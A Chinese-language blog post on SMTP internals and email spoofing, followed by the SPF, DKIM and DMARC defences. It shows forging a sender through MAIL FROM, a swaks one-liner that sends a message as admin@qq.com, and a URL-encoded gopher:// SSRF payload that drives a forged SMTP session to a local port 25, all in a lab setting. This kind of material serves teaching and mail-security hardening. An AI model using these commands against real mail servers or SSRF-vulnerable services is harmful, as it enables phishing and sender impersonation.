Abstract
邮件系统的几个概念:
- MUA: Mail User Agent ,邮件用户代理。也就是通常说的outlook、foxmail的收发管理软件, 假如MUA 是个网站,则称它为 webmail。
- MTA: Mail Transfer Agent,邮件传输代理。就是那些Email服务提供商,比如网易、新浪等等或者自己搭建的SMTP服务器
- MDA: Mail Delivery Agent,邮件投递代理。将MTA接收的信件依照信件的流向(根据头信息)将该信件放置到本机账户下的邮件文件中(收件箱),或者再经由MTA将信件送到下个MTA。
综上,收发电子邮件的过程是:
1 | 发件人 -> MUA -> MTA -> ... -> MTA -> MDA <- MUA <- 收件人 |
MUA与MTA、MTA与MTA交互使用的是SMTP协议,默认25端口
MDA与MUA交互使用的有两种协议:
- POP:因为目前是第三代,所以俗称POP3协议,默认110端口
- IMAP:不但能够读取邮件,还能直接操作MDA中存储的邮件,比如常见的从收件箱移到垃圾箱等等,默认143端口
SMTP 协议分析
本地搭建了一个smtp服务器并且配置了邮件客户端 :传送门
设置了两个测试用户:admin@mail.ignite.lab和qwer@mail.ignite.lab
电子邮件从客户机传输到服务器或从某一个服务器传输到另一个服务器使用的传输协议。 SMTP 是请求/响应协议,命令和响应都是基于 ASCII 文本,并以 CR 和 LF 符结束。响应包括一个表示返回状态的三位数字代码
常见命令
HELO & EHLO
这两个命令是用来向服务标识用户身份,服务器会返回状态码250,不需要进行认证。
1 | HELO test |
后者会返回支持的各种扩展的列表
1 | EHLO test |
MAIL FROM
向邮件服务器声明邮件发送人地址,成功状态250。这里可以伪造任意发件人
1 | MAIL FROM:admin@qq.com |
RCPT TO
声明邮件接收人,如果是一个真实存在的地址,返回成功状态250。 也可有多个RCPT TO
1 | RCPT TO:qwer@mail.ignite.lab |
DATA
开始传输邮件内容(正文,附件等),成功返回354.最后以.
结尾
1 | DATA |
QUIT
请求退出,并断开 TCP 连接
1 | Quit |
如果配置了SPF,邮件服务器会去校验当前发件服务器IP是否满足配置的SPF规则.倘若不满足就会拒绝接受
抓包结果
Swaks 伪造邮件
Swaks是一个功能强大,灵活,可编写脚本,面向事务的SMTP测试工具,由John Jetmore编写和维护。
上面SMTP命令能够直接整合成一条命令:
1 | swaks --to admin@mail.ignite.lab --from admin@qq.com --body Testswaks --header "Subject: Test" --server mail.ignite.lab |
还有其他的高级用法这里就按下不表了
SSRF+SMTP
Wireshark抓包全过程,筛选之后拿到原始数据,再转成gopher协议数据即可
1 | curl -v gopher://127.0.0.1:25/_%45%48%4c%4f%20%6d%61%69%6c%2e%69%67%6e%69%74%65%2e%6c%61%62%0d%0a%4d%41%49%4c%20%46%52%4f%4d%3a%3c%61%64%6d%69%6e%40%71%71%2e%63%6f%6d%3e%0d%0a%52%43%50%54%20%54%4f%3a%3c%61%64%6d%69%6e%40%6d%61%69%6c%2e%69%67%6e%69%74%65%2e%6c%61%62%3e%0d%0a%44%41%54%41%0d%0a%44%61%74%65%3a%20%54%68%75%2c%20%32%31%20%4e%6f%76%20%32%30%31%39%20%31%34%3a%31%39%3a%32%35%20%2b%30%38%30%30%0d%0a%54%6f%3a%20%61%64%6d%69%6e%40%6d%61%69%6c%2e%69%67%6e%69%74%65%2e%6c%61%62%0d%0a%46%72%6f%6d%3a%20%61%64%6d%69%6e%40%71%71%2e%63%6f%6d%0d%0a%53%75%62%6a%65%63%74%3a%20%54%65%73%74%0d%0a%4d%65%73%73%61%67%65%2d%49%64%3a%20%3c%32%30%31%39%31%31%32%31%31%34%31%39%32%35%2e%30%32%30%34%34%39%40%6d%61%69%6c%2e%69%67%6e%69%74%65%2e%6c%61%62%3e%0d%0a%58%2d%4d%61%69%6c%65%72%3a%20%73%77%61%6b%73%20%76%32%30%31%38%31%31%30%34%2e%30%20%6a%65%74%6d%6f%72%65%2e%6f%72%67%2f%6a%6f%68%6e%2f%63%6f%64%65%2f%73%77%61%6b%73%2f%0d%0a%0d%0a%54%65%73%74%73%77%61%6b%73%0d%0a%0d%0a%0d%0a%2e%0d%0a%51%55%49%54%0d%0a |
案例
SSRF 302跳转 + gopher + 邮件伪造: 传送门
邮件问题防御
对于邮件安全,一般正确的配置SPF/DKIM/DMARC就能防止两种问题:邮件诈骗和邮件反向散射
SPF 记录
SPF,全称为 Sender Policy Framework,即发件人策略框架
本质为一个DNS记录。
当邮件服务器收到了一封邮件,从TCP连接中拿到源IP,并且声称(MAIL FROM命令)发件人是xxx@xxx.com
。此时邮件服务器会去查询xxx.com
的SPF记录。如果这个IP在该域SPF记录设置的IP段里,则服务器就认为这封邮件是合法的;如果不允许,通常会退信,或将其标记为垃圾/仿冒邮件
配置语法: 传送门
我们来看qq.com
的spf记录
这里引用了spf.mail.qq.com
的记录,用同样的方式拿到了最终的IP段
1 | v=spf1 ip4:58.250.134.0/24 ip4:54.254.200.0/24 ip4:54.92.39.0/24 ip4:103.7.31.0/24 ip4:14.17.18.0/24 ip4:112.90.142.0/24 ip4:113.108.91.0/24 ip4:119.147.14.0/24 ip4:180.153.3.0/24 ip4:183.60.60.0/24 ip4:183.62.126.0/24 ip4:211.139.188.0/24 -all |
但是也存在配置不当的情况.假如配置的SPF记录为:v=spf1 ip4:111.111.111.0/24 -all
,只要这个IP段中的任何一台主机被Getshell了,就能轻松的Bypass SPF记录完成邮件伪造.
DKIM
利用非对称加密的方式对发件人进行身份验证,产生两组密钥:公钥和私钥。公钥存在该域DNS的TXT记录中,而私钥会存放在邮件发送服务器中。在发送邮件的时候,发送方会利用本域私钥加密生成DKIM签名及相关信息插入邮件Header信息,发往收件人的邮件服务器。收件人的邮件服务器收到带有签名信息的邮件,先通过DNS获取公钥,然后验证签名的有效性,从而确认在邮件发送的过程中,防止邮件被恶意篡改,保证邮件的完整性
格式
来看一个实例:
1 | DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=sc.toutiao.com; |
在这个签名中有几个重要的部分:
- a:用于生成签名的算法
- d: 签名方(即发件方)域名值,用于回溯查找公钥
- h: 邮件头字段名称列表,作为参数参与签名值的计算
- bh:邮件正文的Hash
- s: 域名选择器,用于对域名进行分组管理,类似于域名的命名空间
- c:DKIM提出的两种标准化算法,用于确定邮件头和邮件内容在传输过程中的规范化标准,有simple和relaxed两种可选算法。
Simple算法对邮件头和邮件内容的修改零容忍,relaxed可允许一些常见的修改,如空格替换、大小写转换等。
参数值第一个用于规范邮件头,第二个用于规范邮件内容。默认均为simple/simple,如果仅给出1个算法,则该算法用于规范header,而body默认采用simple算法进行规范化。例如:”c=relaxed”就被视为对邮件头header采取relaxed算法,而body默认采用simple。
- b:签名的本身,包括h的字段,以及DKIM-Signature头本身。由于头部保保存的是整个正文的hash,所以b这一参数也可以作为电子签名。
- x: 签名过期时间,格式同t时间戳,表示一个绝对日期
组合的域名:s+"_domainkey"+d
,也就是mail._domainkey.sc.toutiao.com
邮件内容签名——验证
签名过程
签名者根据c中的规范化参数选择simple或者relaxed算法对message body计算出hash值,然后将该Hash值转化成Base64格式,插入到签名head的bh字段中作为DKIM的Head Field参数值
验证过程
认证方也会根据c中的规范化算法的取值,计算出body的hash值,转换成Base64格式,与邮件头部的bh值进行比对,假如正确表明邮件内容信息完整,未被篡改
邮件头签名——验证
签名过程
发送方用私钥加密邮件头的某些字段,并附上邮件内容的Hash值
验证过程
接收方从域名DNS的TXT记录获取到公钥,然后对加密的内容进行解密,然后进行邮件内容签名验证,如果通过验证说明该域名合法,反之判定为垃圾邮件
DMARC
DMARC全称是Domain-based Message Authentication, Reporting and Conformance,基于现有的DKIM和SPF两大主流电子邮件安全协议,由Mail Sender方(域名拥有者Domain Owner)在DNS里声明自己采用该协议。当Mail Receiver方(其MTA需支持DMARC协议)收到该域发送过来的邮件时,则进行DMARC校验,若校验失败还需发送一封report到指定URI(常是一个邮箱地址)
核心过程
- 从邮件头提取From字段的domain作为域名A
- 查询DNS,获取域名A的DMARC记录.若该域没有设置DMARC记录,忽略本次校验
- 校验DKIM,若验证成功,则获取DKIM签名中字段d的值作为域名B.如果有多个DKIM签名验证通过,则域名B会存在多个
- 校验SPF,若验证成功, 则获取本次SMTP会话中MAIL FROM字段作为域名C,只会存在一个域名
实例
1 | v=DMARC1; p=reject; pct=100;ruf=mailto:dmarc@yoga.com; rua=mailto:report@yoga.com |
协议版本为DMARC1,接收方对(100%)进行检查,当检测到邮箱伪造时拒绝该邮件,并且将一段时间的汇总报告到指定邮箱中
一些参数含义:
- p:用于告知收件方,当检测到某邮件存在伪造我(发件人)的情况,收件方要做出什么处理,处理方式从轻到重依次为:none为不作任何处理,相当于不做任何处理;quarantine为将邮件标记为垃圾邮件;reject为拒绝该邮件。初期建议设置为none。
- rua: 用于在收件方检测后,将一段时间的汇总报告,发送到哪个邮箱地址
- ruf: 用于当检测到伪造邮件时,收件方须将该伪造信息的报告发送到哪个邮箱地址
Reference
https://www.4hou.com/web/7857.html
https://xz.aliyun.com/t/3799#toc-0
https://cloud.tencent.com/developer/article/1088818